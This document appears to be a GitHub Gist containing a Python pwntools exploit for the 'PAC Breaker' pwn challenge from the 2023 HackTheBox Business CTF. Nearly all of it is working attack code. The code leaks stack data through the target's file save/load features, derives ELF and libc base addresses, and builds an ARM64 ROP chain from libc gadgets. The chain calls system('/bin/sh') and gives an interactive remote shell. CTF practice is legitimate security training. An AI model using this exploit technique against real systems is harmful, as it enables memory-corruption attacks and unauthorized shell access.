- you can dump stack
- get canary, elf base, libc base leak
- ROP with no pac included gadgets
- profit
Last active
July 16, 2023 21:18
-
-
Save d0now/095738231f5316525dd6e9df35de726b to your computer and use it in GitHub Desktop.
2023 HackTheBox Business CTF - PAC Breaker (pwn)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import copy | |
import random | |
MAX_PEOPLE = 10 | |
MAX_NAME_LEN = 30 | |
MAX_CON_LEN = 15 | |
MAX_ADDRESS_LEN = 50 | |
MAX_BUFFER_SIZE = 100 | |
def encode(s): | |
if type(s) == str: | |
return s.encode('ascii') | |
return s | |
class ProbIO: | |
PROMPT_START = b"\n=========== Main Menu ===========\n" | |
PROMPT_END = b"==================================\n\n> " | |
def __init__(self, p): | |
self.p = p | |
def send_prompt_cmd(self, cmd): | |
self.p.sendlineafter(self.PROMPT_END, str(cmd).encode('ascii')) | |
def read_until_next_prompt(self): | |
return self.p.readuntil(self.PROMPT_START)[:-len(self.PROMPT_START)] | |
def sel1(self, filename): | |
filename = encode(filename) | |
self.send_prompt_cmd(1) | |
self.p.sendlineafter(b"Enter the target ID: ", filename) | |
return self.read_until_next_prompt() | |
def sel2(self, name, address, number): | |
name = encode(name) | |
address = encode(address) | |
number = encode(number) | |
self.send_prompt_cmd(2) | |
self.p.sendafter(b"Enter the target name: ", name) | |
self.p.sendafter(b"Enter the residence address: ", address) | |
self.p.sendafter(b"Enter the contact number: ", number) | |
return self.read_until_next_prompt() | |
def sel3(self, name): | |
self.send_prompt_cmd(3) | |
self.p.sendlineafter(b"Enter the name of the target you want to lookup: ", encode(name)) | |
return self.read_until_next_prompt() | |
def sel4(self, filename): | |
self.send_prompt_cmd(4) | |
self.p.sendlineafter(b"Enter the target ID: ", encode(filename)) | |
return self.read_until_next_prompt() | |
def sel5(self, filename, choice): | |
self.send_prompt_cmd(5) | |
self.p.sendlineafter(b"Enter the target ID: ", encode(filename)) | |
self.p.sendlineafter(b"Target selection: ", encode(str(choice))) | |
return self.read_until_next_prompt() | |
def sel6(self, choice): | |
self.send_prompt_cmd(6) | |
self.p.sendlineafter(b"Target to remove: ", encode(str(choice))) | |
return self.read_until_next_prompt() | |
class Primitives: | |
def __init__(self, io): | |
self.io = io | |
self._wrong_stack_dump = b'' | |
self._wrong_stack_dump_count = 0 | |
def load_targets_from_file(self, *args, **kwargs) : return self.io.sel1(*args, **kwargs) | |
def add_target(self, *args, **kwargs) : return self.io.sel2(*args, **kwargs) | |
def search_target(self, *args, **kwargs) : return self.io.sel3(*args, **kwargs) | |
def save_targets_to_file(self, *args, **kwargs) : return self.io.sel4(*args, **kwargs) | |
def save_target_to_file(self, *args, **kwargs) : return self.io.sel5(*args, **kwargs) | |
def remove_target(self, *args, **kwargs) : return self.io.sel6(*args, **kwargs) | |
def add_target_and_save(self, name, address, number, save, trick=False): | |
self.add_target(name, address, number) | |
if not trick: | |
self.save_target_to_file(save, 0) | |
else: | |
self.save_targets_to_file(save) | |
self.remove_target(0) | |
def make_null_file(self): | |
self.add_target_and_save(b'\0', b'\0', b'\0', "null", trick=True) | |
def make_null_filled_file(self): | |
self.add_target_and_save(b'\0' * MAX_NAME_LEN, b'\0' * MAX_ADDRESS_LEN, b'\0' * MAX_CON_LEN, "null-filled") | |
def stack_dump_from_targets(self, count=0x20): | |
if self._wrong_stack_dump_count >= count: | |
return copy.deepcopy(self._wrong_stack_dump) | |
prog = log.progress("dumping stack") | |
dump = b'' | |
fmap = [] | |
suffix = random.randint(0, 0xffffffff) | |
for i in range(count): | |
filename = f"{i:02x}-{suffix:08x}" | |
prog.status(f"saving file: {filename}/{count}") | |
self.add_target_and_save(p8(i + 1) + p8(0), b'\0', b'\0', filename, trick=True) | |
fmap.append(filename) | |
for i in range(count): | |
prog.status(f"reading file: {fmap[i]}/{count}") | |
self.load_targets_from_file(fmap[i]) | |
res = self.search_target(p8(i + 1)) | |
now = 0 | |
res = res[len("Target Name: "):] | |
dump += res[:MAX_NAME_LEN] | |
res = res[MAX_NAME_LEN:] | |
res = res[len("Residence Address: "):] | |
dump += res[:MAX_ADDRESS_LEN] | |
res = res[MAX_ADDRESS_LEN:] | |
res = res[len("Contact Number: "):] | |
dump += res[:MAX_CON_LEN] | |
res = res[MAX_CON_LEN:] | |
for i in range(count): | |
prog.status(f"cleaning: {i}/{count}") | |
self.remove_target(0) | |
self._wrong_stack_dump = dump | |
self._wrong_stack_dump_count = count | |
prog.success(f"success! (size {count * 0x5f}b)") | |
return copy.deepcopy(dump) | |
def leak_from_targets(self, offset, size, ignore=False): | |
if not ignore: | |
for o in range(offset, offset + size): | |
if o % (MAX_NAME_LEN + MAX_ADDRESS_LEN + MAX_CON_LEN) == 0: | |
raise Exception("leak contains wrong byte!") | |
count = ((offset + size) // 0x5f) + 1 | |
dump = self.stack_dump_from_targets(count) | |
return dump[offset:offset+size] | |
def leak_elf_base(self): | |
return u64(self.leak_from_targets(0x3c0, 8)) - 0x17c8 | |
def leak_libc_base(self): | |
return u64(self.leak_from_targets(0x4f0, 8)) - 0x277f8 | |
def fill_main_stack(self, payload): | |
prog = log.progress("filling stack") | |
suffix = random.randint(0, 0xffffffff) | |
fmap = [] | |
for i in range(0, len(payload), 0x5f): | |
name = payload[i:i+MAX_NAME_LEN] | |
i += MAX_NAME_LEN | |
address = payload[i:i+MAX_ADDRESS_LEN] | |
if not address: address = b'\0' | |
i += MAX_ADDRESS_LEN | |
contact = payload[i:i+MAX_CON_LEN] | |
if not contact: contact = b'\0' | |
i += MAX_CON_LEN | |
filename = f"{i:02x}-{suffix:08x}" | |
fmap.append(filename) | |
prog.status(f"saving file: {filename}, {i}/{len(payload)}") | |
self.add_target_and_save(name, address, contact, filename) | |
for filename in fmap: | |
prog.status(f"filling with file: {filename}") | |
self.load_targets_from_file(filename) | |
prog.success(f"filled! count is {len(fmap)}") | |
class Ropper: | |
def __init__(self, e, l): | |
self.e = e | |
self.l = l | |
self.load() | |
def load(self): | |
# 0x0000000000117e40 : ldp x1, x2, [sp, #0x68] ; mov x0, x21 ; blr x2 | |
self.libc_gadget_1 = self.l.address + 0x0000000000117e40 | |
# 0x000000000012fd70 : ldp x29, x30, [sp], #0x40 ; ret | |
self.libc_gadget_2 = self.l.address + 0x000000000012fd70 | |
# 0x000000000002adac : mov x5, x24 ; | |
# ldr x8, [sp, #0x70] ; | |
# mov x3, x19 ; | |
# ldr x0, [sp, #0x90] ; | |
# movz w6, #0 ; | |
# ldr w7, [sp, #0x98] ; | |
# movz x4, #0 ; | |
# blr x8 | |
self.libc_gadget_3 = self.l.address + 0x000000000002adac | |
def call_with_fault(self, func, arg): | |
payload = p64(self.libc_gadget_1) | |
# --- sp + 0x00 | |
payload += p64(0xdeadbeefdeadbeef) | |
payload += p64(self.libc_gadget_2) | |
# --- sp + 0x10 | |
payload += b'A' * 0x30 | |
# --- sp + 0x40 | |
payload += p64(0xdeadbeefdeadbeef) | |
payload += p64(self.libc_gadget_2) | |
# --- sp + 0x50 | |
payload += b'A' * 0x18 | |
# --- sp + 0x68 | |
payload += p64(0) | |
payload += p64(self.libc_gadget_2) | |
# --- sp + 0x78 | |
payload += b'A' * 8 | |
# --- sp + 0x80 | |
payload += p64(0xdeadbeefdeadbeef) | |
payload += p64(self.libc_gadget_3) | |
# --- sp + 0x90 | |
payload += b'A' * 0x30 | |
# --- sp + 0xc0 (0x00) | |
payload += b'A' * 0x70 | |
# --- sp + 0x70 | |
payload += p64(func) | |
# --- sp + 0x78 | |
payload += b'A' * 0x18 | |
# --- sp + 0x90 | |
payload += p64(arg) | |
return payload | |
def build(self): | |
payload = b'A' * 0x3c0 | |
# payload += b'A' * 0x8 | |
payload += self.call_with_fault(l.symbols['system'], next(l.search(b"/bin/sh\0"))) | |
return payload | |
def main(p, e, l): | |
io = ProbIO(p) | |
pri = Primitives(io) | |
rop = Ropper(e, l) | |
l.address = pri.leak_libc_base() | |
e.address = pri.leak_elf_base() | |
log.info(f"elf base : 0x{e.address:016x}") | |
log.info(f"libc base: 0x{l.address:016x}") | |
pri.fill_main_stack(Ropper(e, l).build()) | |
p.interactive() | |
if __name__ == "__main__": | |
import argparse | |
parser = argparse.ArgumentParser() | |
parser.add_argument("-H", "--host", type=str, default="localhost") | |
parser.add_argument("-P", "--port", type=int, default=1337) | |
parser.add_argument("--libc", default="./libc.so.6") | |
parser.add_argument("--elf", default="./chall") | |
args = parser.parse_args() | |
p = remote(args.host, args.port) | |
e = ELF(args.elf) | |
l = ELF(args.libc) | |
input("break> ") | |
main(p, e, l) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment